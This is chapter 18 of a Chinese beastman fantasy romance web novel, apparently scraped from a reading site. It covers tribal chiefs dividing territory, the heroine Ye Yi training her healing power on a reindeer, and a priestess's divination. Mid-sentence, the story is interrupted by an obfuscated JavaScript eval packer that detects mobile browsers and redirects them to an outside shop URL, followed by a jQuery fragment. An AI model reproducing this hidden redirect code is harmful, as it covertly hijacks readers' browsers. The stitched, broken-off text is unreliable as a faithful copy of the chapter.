18. 啥都得学
作品:《这只糟糕的雌性!》 两人吵吵闹闹,终于把住在隔壁的黑木给吵醒了,他打着哈欠走了进来。
“你们够热闹的!”
雪戎一见黑木进来,立刻停止了对冷云的勒索:“咋哪都有你?”
“还不是被你们吵醒的!”黑木一屁股坐在凳子上,顺手拿了冷云的蜂蜜浆果茶喝了一口:“唔……不错。”
冷云心疼得直抽抽:“那可是我新煮的浆果茶!”
“所以呢?”黑木嚼着浆果碎肉,“你们银河部落那么富裕,不差我这一口。”
“富裕什么呀,首领娶媳妇都没物资了!”冷云适时卖惨,并不动声色地将一罐蜂蜜藏在了兽皮底下。
黑木显然没有留意到他的动作,他的所有注意力都被娶媳妇三个字吸引了:“哦?娶媳妇?雪戎,你要娶媳妇了?”
雪戎洋洋得意:“那可不!你刚走,我就求偶成功了!”
“这么快!”黑木无奈地摊开了手,“看来我没戏咯!”
“你小子三天两头换雌性,可别惦记我这一个!”雪戎适时地发出警告,“再说,你来我这儿是商量正事儿的,赶紧说完赶紧滚,我可不留你。”
“嘁……”黑木也不生气,他拿过了桌上的羊皮纸地图:“关于蜂王一事,我和我父亲商量过了,以大白山为分界线,东边由大星部落来负责,西边由银河部落来负责,你看如何?”
“可以!不过我可得告诉你一句,你那边去年很多小部落兴起,光我知道的就有四十多个,外来兽人可多了不少。”
“你的消息很灵嘛!”黑木赞道,“行,明儿我再去啸月部落溜达一趟,让他们管好他们那一片,咱们压力也能少些。”
“那就交给你了,正好我不喜欢和那帮家伙打交道。”
“好。”
几人商议完,便各自回去睡了。却说此时,叶一丝毫不知自己就这么稀里糊涂地要结婚了。送走了雪戎之后,她再次翻开前辈留下的小册子,仔细看着异能升级那一节。
今天被黑木冻得够呛,手脚还有些又痒又涨,好像要生冻疮。她决定使用异能,看看自己的极限在哪。
叶一先把一块牛肉烤了,又为自己准备了清水,随后才开始慢慢发动异能,以防虚脱后出岔子。刚开始的时候很容易,绿色的荧光慢慢聚集在冻伤的地方,带来前所未有的舒适。再加大异能,她就有点力不从心了。
不行,还不够!
叶一的额头开始出汗,渐渐的连手都开始抽筋。随着绿色荧光越来越多,她开始承受不住,继而浑身颤抖。
还没到极限!
叶一再次加大使用力度,这次,她的额角青筋暴露,太阳穴也突突直跳。随着异能不断增强,一股奇异的能量在她体内开始撕扯,巨大的撕裂感快要将她击垮,所有的感觉都化作了一个字:痛!
痛!深陷地狱的痛!比死亡还痛!
叶一不记得自己是怎么晕过去的,只记得当她醒来时,外面传来了麻雀叽叽喳喳的叫声。
天亮了。
叶一揉了揉酸胀的眼睛,从兽皮毯子上爬了起来。篝火已经熄灭,洞内一片黑暗。叶一将门打开,让冷空气吹进来,使自己清醒了一下。
外面依旧是白雪皑皑。今天是个难得的好天气,耀眼的雪光刺得她几乎要得雪盲症。按照前辈手记上说的,刚刚训练后会有断骨一样的痛感,这种痛感甚至会持续半个月之久。可让叶一意外的是,自己并没有觉得怎么疼痛,甚至还很轻松舒适。
难道自己没升级成功?
叶一试着发动了一下异能:不对,成功了。这次异能来得凶猛,明显比之前强很多。
难道是……
叶一一拍大腿,猛然想明白了:自己的异能是治愈,就算修炼时有所损伤,随着异能释放也就治好了呀!
想明白这一点,叶一傻子似的笑了。她用炭火的余温重新热了一下烤牛肉,随即出门。
她准备做个实验。
叶一拿着弹弓,来到了白雪皑皑的平原上。此时,一群驯鹿正悠哉悠哉地找寻着食物,它们用坚硬的蹄子刨开冻住的积雪,将雪下的树叶枯草扯进嘴里慢慢嚼着。
叶一用弹弓瞄准了一头雄性驯鹿的腿。只听“啪”的一声,驯鹿的腿应声而折。鹿群受惊了,断了腿的驯鹿则倒在地上,徒劳地挣扎着,哀鸣着,眼睁睁地看着叶一走近了它。
叶一并没有第一时间用刀子捅进它的心脏,而是一石头将它砸晕。紧接着,她看向了驯鹿的断腿,断腿如同失去生机一般软绵绵地垂着。叶一小心翼翼地将断腿接好,随后开始发动异能为它做治疗。
随着绿色的荧光开始汇聚,驯鹿的断腿渐渐长在了一起。约么着差不多之后,叶一将手凑近了驯鹿的脑袋,发动了异能。晕倒的驯鹿骤然惊醒,紧接着如同离弦的箭一般飞了出去。
叶一当机立断再次拿起弹弓,这次她直接瞄准了驯鹿的脖子。这次,驯鹿轰然倒地,再也没有站起来。
叶一得意地笑了:看来,她的异能确实升级了,连体质也增强了。
她化作巨狐,拖着驯鹿回了家。她决定多多储存一些食物,用这个冬天好好升级一下异能,只要食物充足,她就不出门了。
叶一也确实说到做到。她花了三天时间,打了三头鹿和一头牛,这才开始了她艰苦的异能修炼。就在叶一忙活的时候,雪戎也没闲着,他亲自巡逻了自己部落的势力范围,确认无异常后,方才开始忙活自己的私事。
他先是找到了部落里的大祭司来占卜。在兽世,每个部落都有信仰。大部分部落的信仰是天,他们相信,天掌管着兽世的一切风调雨顺、四季更迭。而大祭司,则是能与天对话的人。
银河部落的大祭司是个年轻的雌性雪豹,名叫露。她是小虎白虹的妈妈,早年嫁给了上一任大祭司,也就是白虹的父亲。后来白虹的父亲在一场战斗中战死了,而露就继
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213557|197250||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
任了大祭司这个职位。
当雪戎来找她时,露正用一根柴火猛揍白虹的屁股:白虹偷吃了她储藏的酥油,那可是部落春祭要用的祭品。
春祭是兽世各个部落都会过的节日,在那一日,天空会出现一颗蓝色的星,名为蓝星。这颗星星每年春天出现,秋天消失,蓝星重现的那天即为春祭,消失的日子则为秋祭。春祭是祷告上天、祈求风调雨顺的日子,而秋祭,则是祭奠亡人、魂兮归来的日子。
可想而知,白虹犯了多大错误。
白虹被母亲抽得吭哧吭哧地抽泣。他的屁股高高肿起,尾巴都疼得直转筋。雪戎看着手腕粗的柴火飞来飞去,心里打了个寒颤:“算了算了,孩子还小,慢慢说他就是。”
“他可不小了!”露余怒未消,“山明比白虹大不了多少,你看看那孩子多懂事!这坏小子,一天天的不让人省心!”
“好啦!酥油我那里还有,一会儿差人给你送来。我这次来,是有事要让你占卜。”
露依旧心里堵得慌,她强压下火气:“好吧。”
“我要娶媳妇了,你帮我占个吉凶,再挑个日子。”
露一听这话就来了兴趣,她当即丢下了柴火:“首领,你要娶哪个雌性啊?”
“是一只狐兽人,名叫叶一。”雪戎笑道,“她是一只黑色的狐狸,有很长的尾巴……”
一听这话,一旁哭泣的白虹也不哭了:“首领,你要娶那个狐姐姐?”
“是啊!”雪戎笑着蹲下来,摸了摸白虹的脑袋,“怎么,你不高兴吗?”
“高兴高兴,我当然高兴!”白虹用小爪子蹭掉了眼泪,“首领,下次你见她的时候可以带着我吗?”
白虹话音未落,露就狠狠地剜了他一眼:“小孩子别多话!一边玩去!”
“哦……”白虹垂头丧气,一瘸一拐地离开了。露把雪戎领回了屋子,她从墙上取下了一个牛骨头做的面具和一套用长毛猞猁皮做的衣裳,又小心翼翼地将这些穿在了身上,接着又取出来一个乌龟甲。
“我帮你问问天。”
露升起了一堆火,她拿了一把造型独特的骨刀割破了手指,将血滴在火中,又在火里浇了牛油。她念叨着一些听不懂的咒语,围着火焰跳起了古怪的舞蹈。每个节拍都往火里添点东西:如奇形怪状的石头或者五颜六色的粉末,随着最后一把粉末加入,火焰从黄色变成了绿色。
“把龟甲丢进去!”
随着露一声指令,雪戎将龟甲丢进了火中。露又围着火焰唱跳了起来,不知过了多久,她突然大喝一声,火焰呼的一下蹿了三尺高,差点撩到雪戎的眉毛,雪戎惊得哟了一声,火焰倏地小了下来,渐渐的消失了。
露这才摘下了面具,她用一根木柴把龟甲从余烬中扒拉出来,仔细地看了看上面的纹路。越看,她的神色就越凝重。
“奇怪……”
雪戎顿时心里一紧:“有什么问题吗?”

